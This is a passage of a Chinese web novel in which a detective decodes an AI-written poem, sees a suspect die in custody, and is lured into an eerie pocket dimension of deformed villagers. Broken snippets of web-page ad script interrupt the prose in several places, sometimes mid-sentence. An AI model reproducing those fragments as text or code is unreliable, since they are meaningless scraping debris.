她有时觉得是自己在折磨自己,从她妈妈死后,折磨便开始了。陈途死后,这种折磨越来越甚。 楼下的人群被疏散完毕,警员说明天会出公文说明情况,也会有专门人士出来答记者问。 媒体们心满意足地让开,一辆经过改造的囚车开进超管局。 “规格够高的。”陈影笙看着尾行囚车的警车客观评价。 专门关押超能力罪犯的拘留所就建在超管局旁。 市内最厉害的的超能力刑警聚集在这,没有比拘留所更安全的地方。 左絮飞说:“规格高,但押送的嫌疑人没有超能力。” 脑中模糊地闪过12句的古诗,她脱口而出:“何翠凤?” “对,就是她。” 进一步审讯何翠凤是超管局的事,陈影笙留在这儿没什么用处,她说:“我先走了,帮我和老王说一声。” 她从风衣口袋里掏车钥匙。 左絮飞听见钥匙叮当响,他尴尬地说:“你的车......” 陈影笙抬头看他。 “有媒体记者往院子里飞无人机,被看门的老周发现后着急逃走,无人机一头撞你车上了。” 要钱不要命的记者。陈影笙面无表情地站在院子里看自己的车,前挡风玻璃被撞的像蜘蛛网。 她深吸一口气,给4S店打电话,干脆找人把车直接开到店里修。她自己打车回家睡觉,至于什么保险赔偿还有何翠凤的诗等她睡醒再说。 话虽如此,她睡前还是给一位老客户发信息,简 () { $(''.inform'').remove(); $(''#content'').append('' 单把诗的情况说明,约好明天上门拜访。 老客户没回信息,她抱着手机陷入深眠。 燃烧的白发少女出现在梦中,陈影笙远远欣赏,不想去打扰。 少女永远美丽,那是一种直接灌输进脑海的美,她的形象和人类认知中的“美丽”直接关联,以至于陈影笙看到她时想不起第二个词汇。 她低头看什么? 陈影笙好奇地环顾四周,才发现这里是燕曲一中的天台。 原来她在看婉婷,陈影笙决定陪她一起看。 随着陈影笙越走越近,白发少女突然惊慌地抬头,表情极度抗拒。 她不想让我看吗?陈影笙忍不住低下头。 地上不是婉婷,而是文苑的尸体,这一刻的文苑和怪谈中的赵婉婷无限重叠。 陈影笙恍惚间回到5岁那年,文苑在她面前轻轻松松地跳下去。 文苑是谁呢?陈影笙像做游戏一样自问自答。 她仿佛是一个哄自己玩的小女孩,笑着回答自己:文苑是我的母亲。 很奇怪,陈影笙对文苑的死一直是麻木的、无知觉的,她有时觉得自己像个冷血动物。 陈途带她去看过心理医生,医生的解释是打击太大,大脑自动屏蔽情绪保护人体。 陈影笙回忆起怪谈中婉婷死相带来的既视感,她后知后觉地发现,自己被万花筒保护了。 万花筒封锁记忆,让她免于被婉婷的死相牵动关于母亲的回忆。 它的保护实在没有意义,陈影笙看着地上的女人,感觉陌生又熟悉。 看久了更是感到无趣,她干脆在天台上找一块干净的地方,就地躺下闭上眼睛。 白发少女轻轻戳她的肩膀,担忧地看着她。 “我要睡觉。” 陈影笙解释,她再度陷入深度睡眠。 第二天中午,陈影笙才慢慢醒来,她睡到骨头发软,几乎忘记怎么走路。 用主卧的洗手间简单洗漱,陈影笙下楼。 事务所一楼的窗帘全被拉上了,只有会客厅办公桌上的台灯亮着,拉屎布偶趴在一本书上睡觉。 陈影笙又找回那种憋屈的烦闷感,除此之外,还有一种突如其来的恐慌。 她还在万花筒里。 陈影笙踢掉拖鞋,跑向办公桌,她从猫肚皮下抽出书。她知道自己会读到什么,她既害怕又期待。 害怕是因为怕被永远留在万花筒里,期待是因为她总对自己的直觉充满自信。 书上的文字映入眼帘。 【海客谈瀛洲,烟涛微茫信难求。】 陈影笙合上书。 是梦游天佬吟游别,陈凡繁的语文课文,不是描写她的小说。 她短短6天内进入5个怪谈,还在最后一个怪谈中被迫回忆起真实姓名,留下了不大不小的后遗症。 拉屎布偶抗议般喵喵叫,陈凡繁的声音从厨房传来。 “你醒了?” 陈影笙把拖鞋穿上:“怎么拉着窗帘?” “你的事务所被记者包围了。” 陈影笙把窗帘拉开一小道缝隙,外面立刻亮起闪光灯。 厨房的方向飘来牛肉的香味,陈凡繁端着一锅番茄牛腩出来。 “不问我为什么不上学?” 陈影笙嚼着牛肉,配合地问:“今天为什么没去上学?” “因为作者不需要小说人物上学。”陈凡繁回答。 70. 文盲与骗子 陈影笙从睡梦中惊醒。 她划亮手机屏幕,现在是上午十点。 不得不承认老王骂的很对,用真名在万花筒中行动实在是太冒险了。 万花筒的后遗症令她完全分不清虚拟与现实,她的头脑非常清醒,但她控制不住地怀疑自己留在万花筒中。 陈影笙决定做点什么缓解一下自己的焦虑。 她从家里翻出一罐红茶一瓶好酒,提着礼品去见老客户。 这位客户退休前是大学教授,研究医疗器械的,爱好古代文学,特长写诗。 教授姓林,林教授的研究领域和她的爱好可以说是八竿子打不着边。 至于她怎么成为陈影笙的客户,只能说家家有本难念的经。陈影笙通常不插手别人的家务事,可林教授的事她还是硬着头皮帮忙了。 结果问题解决了,但不可避免地被她的家人记恨上。陈影笙和她约时间,是为了避开她的小儿子。 家务事就是这样,你觉得自己帮忙找到真相,人家一家人转头又亲亲热热地生活在一起,徒留你变成得罪人的蠢货。 陈影笙换好衣服出门,门外好几个媒体记者,甚至还有人举着手机在侦探事务所门口直播。 “我身后的这栋建筑就是幻忆师侦探事务所,老铁们点个赞我立刻去搭讪幻忆师!” 当然也有架着摄像机带着记者来的。 “您好,我们是诞江之声,请问您接受采访吗?伪人测试......” 陈影笙礼貌地对记者小姐点头:“等警方正式通报。” 她钻进网约车。 到了林教授家,不免先聊些有的没的,听教授讲家里不省心的小辈,好一会才聊到何翠凤的诗。 林教授戴着老花镜看手机。 翠色盈眸处,清风摇曳时。 云深藏古木,烟淡罩幽池。 逢翠似逢春,心随境意驰。 尘虑一时涤,神游万籁熙。 世事纷繁里,此境得几回? 且将浮华抛,长栖翠色间。 “诗是哪来的?” “客户的。”陈影笙含糊回答。 她问:“是首情诗吗?” 林教授不回答她,而是拿出一种开组会提问研究生的语气,缓缓问:“你为什么觉得这是首情诗?” “而且那不叫情诗,叫相思诗或者恋歌。” 陈影笙想了很长时间,委婉地说:“和客户名字有关。” 然后她摆出一副为难的神情,林教授立刻明白了,这不是客户,十有八九和某个案子有关。 林教授也不打哑谜了:“不是相思诗,是隐逸诗,但不知道为什么是12句。” “隐逸诗?” “描写归隐后的田园生活,比如‘采菊东篱下,悠然见南山’就是典型的隐逸诗。” 林教授指着最后两句:“先写对自然的向往,再写对世事的厌倦,这人年纪不小了。” “不是古人写的?”陈影笙茫然问。 “不会是古诗。”林教授斩钉截铁地说,“五言律诗的标准是四联八句,这首诗完全不符合传统格律诗的要求。” 林教授又仔细看一遍:“更像排律,但排律一般比它长。” “他的写作水平怎么样?” 林教授客观评价:“押韵较为工整,没有特别出彩的地方,也没有出错的地方。” “会不会是年轻初学者写的?” “不像,应该是上了点年纪的人。”林教授摇头。 “这年头哪个年轻人还写诗?我们学校里教诗文选修课的老教授布置期末作业,让每人写一首诗交上去,结果你猜怎么着?” 陈影笙配合地侧耳聆听。 “学生在课堂上打开AI,让AI帮自己写了好几首,给周围同学一人发一首,把老教授气坏啦!” 虚竹忧郁苍白的脸在陈影笙面前一闪而过,她恍然大悟:“这首12句的诗也是AI写的。” 林教授新奇地问:“不是说AI很厉害吗?连五言律诗到底有多少句都不知道?” “不是AI不知道。”陈影笙忍着笑说,“是用AI作诗的人不知道。” “他甩给AI一个关键词,AI给他一堆诗。他从中挑出一首,又觉得另外一首里的句子不错,把句子单独摘出来加进选好的诗里。” 林教授听笑了:“自作聪明的文盲!” “是这句吧?”林教授指着逢翠似逢春。 “你的客户叫逢翠?这句加进去立刻变成艳词,心随境意驰、长栖翠色间。诗人的宿命是被曲解,连AI诗人也逃不过命运!” 陈影笙终于笑出声。 婉拒了林教授留她吃饭的提议,陈影笙直接赶到超管局找老王,但老王不在。 左絮飞一眼看见她:“来找老王?” “对,可以去拘留所探视何翠凤吗?” “有点难,她现在身份敏感。”左絮飞问,“你吃饭了吗?” “没有。” “走,和我去吃食堂。” 超管局的食堂干净又好吃,陈影笙拿一只鸡腿,边剥皮边吃,吃完给左絮飞讲了诗的事。 左絮飞也在笑:“真是绝望的文盲。” 笑完他严肃地说:“何翠凤什么都不愿说,很反常,她明明早被剑侠放弃了。” “你专案组外聘专家的身份还在,我尽量找机会让你与何翠凤见一面,你先在休息室等我。” 这一等就等到晚上,陈影笙忍不住在休息室睡了一觉。 左絮飞来喊她:“走吧,我们一起去,时间很短,尽量围绕你得到的线索提问。” 他们去的当然不是审讯室,陈影笙只是个外聘专家,没有审讯资格,他们只能以探视为理由来见何翠凤。 “何逢翠。”陈影笙先叫何翠凤的假名。 何翠凤抬头看她一眼,飞快低下头:“你谁啊?我不认识你。” “我也不认识你,但我认识虚竹。” 何翠凤终于抬头看她。 “虚竹租的房子里有你的裙子和化妆品。” “你是虚竹什么人?”何翠凤脸上的肌肉蠕动两下。 陈影笙没去过虚竹的出租屋,这是推理。何翠凤的漂亮裙子不方便放在何家,更无法在何家化妆,这些东西只能放虚竹家。 “你是虚竹什么人?”陈影笙反问。 “我?”何翠凤略带敌意,“虚竹是我男朋友。” 陈影笙若有所思地点头,她忽然说:“翠凤这个名字不是很好,谁给你取的?” “谁取的和你有关系吗?” “逢翠又是谁取的?很好听,有意境。” 何翠凤冷淡回答:“我自己取的。” “虚竹也喜欢这个名字吗?” 何翠凤不说话。 陈影笙拿出诗给何翠凤看。 “你不觉得写的很好吗?”何翠凤用挑剔 () { $(''.inform'').remove(); $(''#content'').append('' 的目光打量陈影笙的脸。 “对,AI写的不错,但我不明白虚竹为什么把AI给的两首诗混在一起。” “你在说什么?” “我说,诗是AI写的,不是虚竹写的。”陈影笙坦然面对何翠凤充满敌意的眼神。 “你说是就是?” “你能给自己取出逢翠这个名字,你应该知道五言律诗是什么。”陈影笙挡住中间两句诗。 “这首诗比正常的五言律诗多出4句,虚竹把两首诗揉在一起。” 何逢翠下意识抿紧嘴唇,她很快调整面部表情,装作一副无所谓的样子:“所以呢?” “所以虚竹是一个没有任何才华的男人,却要装作在世奇才的样子,既写诗又写推理剧本。但诗其实不是他写的,他甚至连五言律诗的格式都不知道,觉得逢翠似逢春能讨好你,就把这句话给揉进来。” “然后呢?”何翠凤脸上的表情很奇怪。 “他写的剧本杀,主要部分其实是游戏伪人测试,测试是你帮他做的,他写的少到可怜的文本内容没有任何可玩性,全靠你做的测试才找到愿意给他发行剧本的冤大头。” “噗嗤。”何翠凤忍不住笑了一下,她问,“你长的很漂亮,你有男朋友吗?” “没有。” “有人追求过你吗?” “没有。” “哦。”何翠凤说,“那就是追求过但你不知道,或者你根本不认为那是追求。” “你无法理解像我一样的人。”何翠凤的眼泪憋不住了。 “对于我这样的人来说,有人愿意在‘讨我开心’的事情上花心思,已经足够让我爱上他了。” “即使他的才华是假的?” 何翠凤笑得更开心:“他的才华是假的,我的超能力是假的,我们简直天生一对。” “哈哈哈哈哈哈哈——” 何翠凤像个疯子一样大笑起来,笑到被口水呛了一下。 她边咳嗽边说:“剑侠是这么评价的,然后——嗝咕!” 奇怪的声音从何翠凤嘴里传来,两边的警察发现不对,立刻上前掰她的嘴。 但她的嘴像是被胶水黏住,两个人掰也掰不开。 左絮飞拿出曾经用过的青蛙玩具,青蛙的长舌头立刻钻进小小的透气孔,向何翠凤脸上黏去。 然而已经晚了,何翠凤的嘴巴被成功掰开,里面的舌头断成两截,大量血液从舌头的断面涌出来,半截舌头卡在气道中。 何翠凤用平静如湖水般的眼睛与陈影笙对视。 “修女!” 陈影笙扑到探视间的隔断玻璃上,眼睁睁看着何翠凤的眼睛失去最后一丝光彩。 拘留所的医生和警员们按住何翠凤做最后的抢救,但谁都知道何翠凤没救了。 那双湖水般的眼睛定格在陈影笙的脑海中。 许久,陈影笙问左絮飞:“她死在这里会给你添麻烦吗?” 左絮飞回过神:“不会,你来探视是走过正规流程的,而且通过她,我们有机会再次见到修女。” 陈影笙脱口而出:“超能力范围!” 即使是何康那样强大到如同神明的超能力,也只能局限在诞江市,所有死者的死亡地点都是诞江。 修女夺舍何翠凤,说明她就在诞江,极有可能在超管局附近。 “你先回去。”左絮飞迅速说,“这片区域马上会被封锁,我们要逐个排查可疑人员。” 71. 爱人 陈影笙没打车,她扫一辆共享单车迅速骑回侦探事务所。 事务所门口堵着一名记者,记者直接把名片塞陈影笙手里,追着她做自我介绍,想取得采访机会。 陈影笙胡乱敷衍过去,打开事务所的门。 离开家一上午,不知道男朋友有没有做好饭等她回来,梦里番茄牛腩的香味萦绕在鼻间,如果男朋友炖的是牛肉就好了。 陈影笙微笑着倚在厨房门口。 一个长得酷似左絮飞的男人戴着手套在厨房中忙来忙去。 他的声音充满磁性:“亲爱的,你回来了?” “我回来了,我们晚上吃什么?” “你想吃什么我就做什么。” 从侧面看过去,能看到男人弧度漂亮的下颌线,还有挺直的鼻梁和深深的眼窝。 他的眼神深邃多情,头发用发胶抓过,身上有好闻的古龙水味。 高配版左絮飞。陈影笙默默评价。 她换完拖鞋走进厨房,自然而然地拎起装满厨余垃圾的塑料袋,转身出门。 温柔的男友拦住她:“去做什么?马上开饭了。” “我去扔垃圾。” 男友低头看到她脚上的拖鞋,宠溺地说:“去吧,早点回来。” 陈影笙穿着拖鞋迈进寒冬,然后她拔足狂奔,拖鞋也无法降低她的速度。 她一路七拐八拐,确认身后没人跟踪,直接跑进附近的派出所。 派出所执勤的警察惊了一下,随后立刻问: “有什么急事?” 陈影笙没回答,她直接掏出手机拨打左絮飞的电话。 无人接听。 她又打老王电话,响一声就接了。 “爱人在我家。” “我们堵住狂徒了,没什么急事我先——你说什么在你家?” “Agape的爱人在我家。”陈影笙重复。 “我让马雨双立刻过去。” 爱人,谋害苏莉的超能力罪犯,Agape的核心成员,超能力是献身之爱。 他可以吸引别人爱上他,爱意浓烈到一定程度时,会以被害人的生命为代价,将其想象中的虚幻世界变为现实。 陈影笙不知道自己怎么满足了他的超能力发动条件。 之前超管局推测,发动条件是先爱上他,再触发超能力。 目前来看这个推测可以被推翻了。 陈影笙简单向派出所的民警解释状况,民警正在向上级核实,先让她在大堂里坐着。 她没坐一会,马雨双一路瞬移过来。 “走。” 两个人回到事务所,屋内空无一人,炉灶上还点着火。 马雨双说:“保护现场,我给技侦打电话,看看能不能收集一些指纹头发。” 拉屎布偶站在桌子上困惑地看着他们。 陈影笙配合技侦组的人员把屋内检查一遍,没找到任何有用的线索。 马雨双临走前为难地说:“这里会不会不太安全?” 陈影笙回答:“我先去别的地方住吧。” 把警察们送走,陈影笙翻出行李箱,收拾两件衣服抱着猫出门,然后她才想起来车送去修了。 她打开手机通讯录,对着花花绿绿的通讯录发了一会呆,退出通讯录进入打车页面。 这一刻,她突然想找人倾诉一些话语,但倾诉的欲望和那一小点委屈很快被理智按压下去。 车没打到,一个熟悉的声音响起:“你在等什么?” 陈影笙呆呆地看着面前的女人,好久才回过神:“你回国了?” “对啊!不认识我了?我周挚容啊!我一下飞机就立刻来找你,惊喜吗?我们进去说话吧。” 周挚容是陈影笙从小到大的好朋友,陈影笙相当开心。 她说:“不方便进去。” “为什么?” “长虫子了,刚喷完杀虫剂,我们找个地方说话吧。” “大冬天的长虫子?”周挚容笑着接过她手里的猫,“你不愿意说就算了。” 拉屎布偶在周挚容怀里扭动两下,跳到地上自己走。 陈影笙莫名有些紧张,她总觉得自己如果不说实话,会失去一段宝贵的友谊。 想了想,也没什么不能说的,或许之后社区民警会挨家挨户提醒大家小心可疑的男人。 于是陈影笙说:“超能力罪犯进去过,事务所不安全了,我准备先找个地方住。” 周挚容的担忧和恐惧写在脸上,她立刻抄起猫,拉着陈影笙的行李箱往前跑。 陈影笙觉得好笑,但也跟着她跑。 两个人跑了好长一段路,跑到拉屎布偶拖长声音喵嗷喵嗷地叫,才堪堪停下来。 陈影笙边喘气边笑:“你听,它在骂你。” “不听不听,王八念经,猫坏我好。” “别人是清汤大老爷,你是浑浊大老爷。” 拉屎布偶骂得更大声了,陈影笙笑到肚子疼,她暗自发誓,一定要珍惜这段友谊。 在路边随便找一家店进去吃饭,周挚容帮助陈影笙回忆了许多以前的趣事。 有朋友的感觉真好,陈影笙恍惚地想。 吃完饭,周挚容提出要去一趟诞江市安定医院。 “去那里做什么?” “探望我妈妈。” 陈影笙茫然地看着周挚容。 周挚容柔声说:“你忘了吗?我们从前一起探望过她,那时我们还在上学,她总不记得我们几年级。” “是高一那次吧?她以为我们还是初中生,担心我们中考没法考到一个学校。”陈影笙立刻回忆起过去。 “再去一次吧,我们一起看望她,让她猜猜我们读几年级了,她肯定猜不到。” 陈影笙摇头:“安定医院昨天出事了,第三住院楼的病人全被转移到别的医院。” “我们先去住院楼,问问她被转移到哪里。” 好奇怪。 陈影笙脑海中模模糊糊闪过一个想法:周挚容没有说她妈妈住在第三住院楼,为什么我能这么肯定? 另一个想法迅速冒出来:答应她!答应她!陪她去,你必须珍惜来之不易的友谊。 于是陈影笙说:“好,我们现在就出发。” 两个人很快来到安定医院。 楼外全是破碎的玻璃,透过一楼的大窗户能看见里面的建筑废料。 陈影笙在第三住院楼前停下来,她不安极了:“外面是警戒线,里面不会有人,我们去旁边住院楼的护士站问问吧。” “不,我想进去看看。” 周挚容头也不回地说完这句话,直接钻过警戒线,冲进大门。 “挚容!” 陈影笙怔怔地望着周挚容的背影,感到些许的不可思议,为什么她的朋友和她完全不一样,会直愣愣地冲进危险地带。 但周挚容已经冲进去,陈影笙不得不追上 () { $(''.inform'').remove(); $(''#content'').append('' 去。 她钻进警戒线的同时,手机铃声响起,是左絮飞打来的: “你在哪?有内鬼,他们的目标是——” 空间中划过一道涟漪,通讯信号被完全截断。或者不是截断,而是陈影笙来到一个和此世完全不连通的空间,信号无法传递过来。 太多问题值得陈影笙思考,但她望着面前的“建筑”,脑中一片空白。 那就是......圣柱吗? 由攀爬的人类组成的血肉之柱,他们直到死去还牢牢攀附在柱子上,渴望地仰头,乞求神龛之上的垂怜。 超能力是这么值得拿到的东西? 陈影笙无法理解,她见过很多毫无用处的超能力。 即使这些人爬上圣柱,见到顶端的洪金胜,喝下血液成功觉醒,也无法保证得到的能力如同想象中强大好用。 他们简直把超能力当做新世界的门票,不,不是新世界的门票。 一个词语出现在陈影笙脑海中——诺亚方舟。 超能力像是诺亚方舟的船票,被信徒们争抢着,他们要借此逃离世界末日。 顶天立地的圣柱带来的震撼让陈影笙久久无法回神,她强迫自己移开视线,开始思考当下所面临的问题。 首先是周挚容,尽管大脑强迫她珍惜友谊,但她的理智告诉自己,她从来没有挚友。 学校里的普通朋友、生意上的合作伙伴或者办案中志同道合的友人,这些她都有。 唯独没有从小一起长大的、无话不说的挚友,所以她在刘天怡的怪谈中才会如此羡慕婉婷和刘天怡的友谊。 陈影笙遥遥望着远方的圣柱,她有一个大胆的推理:周挚容是爱人,她就是事务所门口给陈影笙塞名片的女记者。 发动超能力的条件很可能包括“肢体接触”和“被拒绝”两项。 陈影笙完美触发爱人的超能力,进门就看见不存在的男朋友,男朋友还长得像左絮飞。 之前李颖解释说,受害者看到的爱人长相都不一样,但无一例外是她们心中完美伴侣的样子。 那么左絮飞算什么?她心目中的完美伴侣? 陈影笙打断脑海中飘逸的思维,禁止大脑再思考和左絮飞有关的事。 她这辈子没谈过恋爱,但凡她谈过,也不会连自己悄悄喜欢上左絮飞都发现不了。 所以她立刻挣脱爱人的超能力,借着扔垃圾的借口逃出事务所,给老王打电话求助。 求助期间,爱人发现陈影笙太久没回家,意识到自己被识破,迅速逃走了。 不,她没有逃走,她潜藏在事务所周围。或者不用潜藏,爱人本身就是一名女记者。 从始至终,以爱为名伤害无数女人的爱人是一名女性。只有女性才知道自己的同/性需要什么样的爱情,只有女性才能扮演好同/性眼中的完美恋人。 爱人是一个极其擅长掌控并玩弄人情绪的超能力者。 她发现男朋友这条路走不通后,立刻换了另一条路。 在陈影笙对着通讯录怔怔发呆,期望找人倾诉时,她抓住机会获得了挚友身份。 她接过猫是为了肢体接触,提出进事务所是为了被拒绝,都是再次满足超能力发动条件。 她的超能力不单单是爱情,所谓的“献身之爱”包含了爱情、友情和亲情,是世间一切爱。 陈影笙感到不寒而栗,她无法想象,能够指挥这样一位超能力者的牧首究竟是什么样的人。 72. 畸形 其次,结合左絮飞的电话和爱人的目的地,陈影笙才是Agape本次行动目标。 超管局有内鬼,将万花筒的秘密透露给Agape,陈影笙作为使用万花筒最娴熟的外聘专家,被盯上不奇怪。 但奇怪的是,Agape如果想杀她,为什么不直接杀?她是个毫无超能力的普通人,杀她没有任何难度。 为什么要让狂徒以身犯险,吸引超管局火力,再派出爱人大费周章地将陈影笙骗到异空间里? 异空间的主人绝对是Agape的超能力者。他复制过寰宇大厦,参与过掳走何康的计划。 这位能力者如果是整起事件的策划者,他很可能想与陈影笙见面,或者他背后的牧首才是策划者。 陈影笙边想边赶路,很快走到圣柱附近,她谨慎地站在十米外,绕着圣柱转了一圈。 转到背面时,她停下脚步。 圣柱下层的正中位置被掏出一个整齐的血洞,里面放着一面镜子。 陈影笙再三确认那是一面镜子,她犹豫一下,咬牙踩上圣柱,忍着尸臭味爬上去。 幸好血洞的位置不高,可尸体已经成蜡了,陈影笙必须花费很大力气抓住它们的胳膊腿。 血洞附近的尸块更难办,它们被外力削出平滑的弧度,让陈影笙无处下手。 陈影笙有点后悔爬上来,她用尽力气扶住一具尸体的肩膀,双手把自己撑起来探头看镜子。 镜子里什么都没有。 没有陈影笙的人像,也映不出对面的景物,光学消失了。 陈影笙不死心,她双脚悬空,把全身重量压在那具尸体上,用力伸长脖子照镜子。 还是什么都没照出来。 被她压住的蜡化尸体终于不堪重负,右侧肩胛骨发出一声脆响,陈影笙慌乱伸手抓了两下,却什么都没抓到。 她从六七米的高度摔下去,下方是厚厚的草甸,她尽量在空中调整身形,但还是被摔得发出一声惨叫。 陈影笙歇息一会,捂着腿站起来,她的小腿摔青一片,着陆姿势选的比较好,脚踝没有受伤。 正当她卷起裤腿,仔细检查伤势时,一道声音冷不丁响起: “你没事吧?” 来人没有影子,陈影笙警醒地抬起头。 她条件反射般想跑,硬靠意志力压抑住逃跑的想法和冲到嘴边的尖叫。 眼前的二位,用“长得丑”已经无法形容了,“猎奇”两个字更适合他们。 出声关心她的女人脸长在脑后,偏偏她的头发还在自然生长,和脸长在同一片头皮上。 为了不让头发干扰五官,眼睛鼻子附近的毛发都被剃光,但还是有短短的硬毛在鼻头和眼皮上挺立着,连她的眼珠里都有几根刺出的毛发。 嘴唇上的毛发不怎么影响说话,便没有剃掉,看上去像愚蠢的胡子。 正常的胡子可不会在说话时大面积抖动,她的头发长在嘴唇上,随着声音有节奏地上下翻飞。 这位女士的身体结构勉强能看懂,她旁边男人的结构复杂到像一道数学题。 男人的双手长在脚踝上,他在手上绑了两块自制的木头鞋子——应该叫手套。 不管它叫什么,它起到了保护手掌充当鞋子的作用,男人靠它走路,它被磨损的很严重。 从手腕上伸出来的不是双脚,而是十根长长的手指,每一根手指都有四个关节,长度是正常人的1.5倍。 二人都穿着宽松的白麻衣服,脸上是善意的担忧和恳切的关心。 他们大大方方把自己的怪异之处展现在陈影笙面前,仿佛身体健康四肢健全的陈影笙才是怪人。 陈影笙沉默好久才找回自己的声音,她关机重启的大脑只剩下一个问题:“圣柱上有一面镜子。” “可能是调皮的阿球放上去的。”女人回答。 “镜子无法成像。” 女人和男人一脸茫然,他们对视一眼像是达成某种共识,女人小心翼翼重复刚才的问题: “你没事吧?我听见你在痛呼。” 他们神情怪异,带着了然与同情,好像陈影笙问的不是镜子成像,而是M6圆头螺丝能不能夹大饼里蘸屎吃。 被两人当成精神病的陈影笙终于找回一点理智,想起还没问两人的姓名: “我没事,二位怎么称呼。” “我叫阿红。” “我叫阿蓝。” 陈影笙有充分的理由怀疑她还在何康的万花筒里。 她低下头,再次寻找两人的影子,才发现不止他们没有影子,她自己也没有影子。 就当光学消失了吧,陈影笙安慰自己。 她一直不站起来,阿红以为她把腿摔坏了:“还能走路吗?要不和我们一起回村休息一下?” 陈影笙没有拒绝,她无处可去,不如去看看村子是什么。 阿红问她:“你从外面来?” “对,这里是哪里?” 倒着走路的阿红转过身郑重且骄傲地介绍:“这里是瀛洲。” 海客谈瀛洲,烟涛微茫信难求。 瀛洲是传说中的东海仙山,理想中的仙境,住的全是仙人。 陈影笙看着用手走路的阿蓝,觉得写梦游天佬吟游别的李白如果知道仙人们长这样,他可能立刻改道回长安继续给权贵写诗了。 “为什么大家都长得......如此特殊?” 阿蓝回答:“你也很特殊。” 陈影笙分不清他是在真心回答还是在阴阳怪气,她决定先少说话,尽量不问问题。 阿红和阿蓝竟然也不说话,期间阿红关心几次她的伤势,还说如果严重一定不要硬撑,阿红可以陪她等在原地,让阿蓝回村开车接她们。 他们知道陈影笙的来历,但对外面的世界毫无兴趣甚至不屑一顾。 可他们表现出的关切和善良又不是假的,像是两位生活在桃花源的淳朴村民。 长得奇形怪状的淳朴村民。 三个人一路走到小小的村落,村里只有二三十户人家,人数不过百。 陈影笙没看见太阳,更没有能观察时间的东西。异空间的光类似于白炽灯的柔光,不是太阳的日光。 迎接他们的是一名年轻的矮个子女人。 女人自我介绍:“我叫阿芳” 阿芳身上没有任何奇怪的地方,陈影笙松了一口气。 她忍不住问:“你们没有姓氏吗?” “姓氏?” “比如我的名字,陈是姓,影笙是名。” 阿芳摇头:“导师没给我们姓氏,有名字就足够了。” 导师,很符合Agape的取名方式,陈影笙立刻问:“这位导师是谁?我可以见见他吗?” “导师不住在村里,他写信和我们交谈。”阿芳边说边洗杯子,似乎想给大家泡茶。 放茶叶的橱柜在很高的位置,陈影笙贴心地说:“我帮你——” 她的话语戛然而止。 阿芳卷起袖子,小臂从手腕至手肘一分为二,弹出另一条细瘦的小臂来。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >仿佛在手腕上嫁接一副婴儿的肢体,小小臂的最前端还有一双没发育好的小手。 阿芳伸出接肢手臂,轻松拿下橱柜上的茶叶。 陈影笙都看傻了。 “厨房太小了,我总是蜷缩着手臂干活。”阿芳抱怨。 脚下突然传来一个稚嫩的声音:“好臭!” 陈影笙低头去看,忍不住跳起来。脚下是一具只有五官的肉块,四角长着些许凸起,靠凸起挪动身体。 阿芳误以为她生气了,赶紧解释: “别生气,这是阿球,她今年11岁,还是个小孩子。” 肉块嚷嚷:“我不小了!就是很臭,有什么不能说的?” 确实很臭,她身上一股尸臭味,陈影笙立刻表示:“你说的对,我去洗澡,可以给我一套换洗衣服吗?” 阿球本来想捣乱,没想到她真要去洗澡,阿球不知所措:“我、我没——你不要难过,我不是说你臭……哎呀我不是那个意思!” 陈影笙笑了:“我明白,你的意思是你不讨厌我。” 肉块上的脸迅速变红,阿球灵活地倒腾肉触一样的四肢,飞快跑走了。 阿芳忍着笑意:“你先去洗吧,衣服我让阿球送过去。” 一边洗澡,陈影笙一边思考,为什么这里的人都这么畸形。 在看到阿球的瞬间,她找到形容他们的最贴切的词汇——畸形。 阿球放在外面的世界是典型的葡萄胎,在产检阶段就能被发现。 即使产妇不去医院做检查,或执意生下胎儿,葡萄胎也无法存活更无法长大。 但阿球调皮掏蛋的样子和正常的小女孩没有任何差别,这从生理学角度来说是不可能的。 继光学不存在后,生理学也不存在了。 “咚咚” 外面传来轻轻的敲门声,阿球说:“衣服放在门口,我先出去玩了。” 陈影笙摸着腿上的淤青,忽然把自己重重摔在地上。 阿球慌了:“你怎么了?是摔倒了吗?我帮你叫阿芳!” “呃——” 听见浴室内的低声痛呼,阿球忍不住冲进来,绕着陈影笙转了一圈。 “你没事吧?” “很痛,之前腿上有伤,洗澡时碰到伤口,疼得没站稳。” 这是谎话,陈影笙的伤没那么重,她故意在浴室中摔倒。 她的目的达到了,阿球问:“怎么弄伤的?” “我路过圣柱,看见圣柱上有个洞,洞里有面镜子,我忍不住爬上去看,结果摔下来了。” 阿球竟然承认了:“对不起,镜子是我放的,我觉得好玩,没想害你摔跤。” “你怎么爬上圣柱的?” “用超能力上去的。”阿球在空中像羽毛一样漂浮。 肉块的脸上呈现出内疚的神情,陈影笙觉得很有趣。 10岁左右的小孩一般都比较叛逆,正常情况下不会承认自己做了错事,被发现做错事也要嘴硬。 但阿球不是,她表面顽皮,实际上被教育的非常好。她怕自己说重话让别人伤心,也会为做错的事情道歉。 可以说,她被教育的过于好了,放在外面的世界会被评价为“过于老实”。 老实到陈影笙有点不忍心欺骗她,但陈影笙还是说:“我的身体和你们有什么不一样吗?” “大家都不一样啊。”阿球懵懵懂懂的。 赤/裸的陈影笙安然摇头,她温和地说:“外面的人是一样的,为什么这里的人都是畸形人?” 73. 一句话杀人 让陈影笙没想到的是,她的话像是触碰什么禁忌,让阿球进入一种应激状态。 “你胡说!我不是畸形人!” “你照过镜子吗?哦对,这里没有镜子。” 浴室地上有一片水洼,水洼里没有陈影笙的人像,甚至连肉块上的眼睛都无法映出她的影子。 阿球好像很害怕,她不停重复:“我才不是畸形人!” 陈影笙很有耐心:“你知道畸形人是什么吗?” “当然知道,村子里有畸形人。” “什么是畸形人?谁是畸形人?” “我不知道。”阿球漂浮起来,瞄准门的位置,想靠逃跑结束对话。 陈影笙一把抱住她:“你听我说。” “畸形是身体相对于正常人存在异常或缺陷。” 阿球很固执:“我就是正常人。” “那畸形人是谁?” “我不知道,那种事情无所谓。” 陈影笙把阿球放在地上,她语气平和:“为什么把镜子放在圣柱里?” “只是觉得好玩。” “不是,是你不明白,为什么世界上存在镜子这种无用的东西,你对它充满好奇,想将它放进圣柱看看会不会发生什么。” 阿球被说中想法,她不跑了:“所以发生了什么?” “什么都没发生,我照镜子时没看见自己的脸。这里的镜子无法成像,光不能反射,光学不存在。” 阿球没全听懂,但她悟出一个事实:“正常的镜子能成像,如果能看见自己的脸,我是不是就会知道自己是畸形人?” “你平时感觉不出来吗?”陈影笙觉得好笑,“你和大家都不一样。” 地上的肉块没了动静,阿球好半天才说:“我知道了,谢谢你告诉我。” 肉块用超能力飘走了,陈影笙拦不住她。 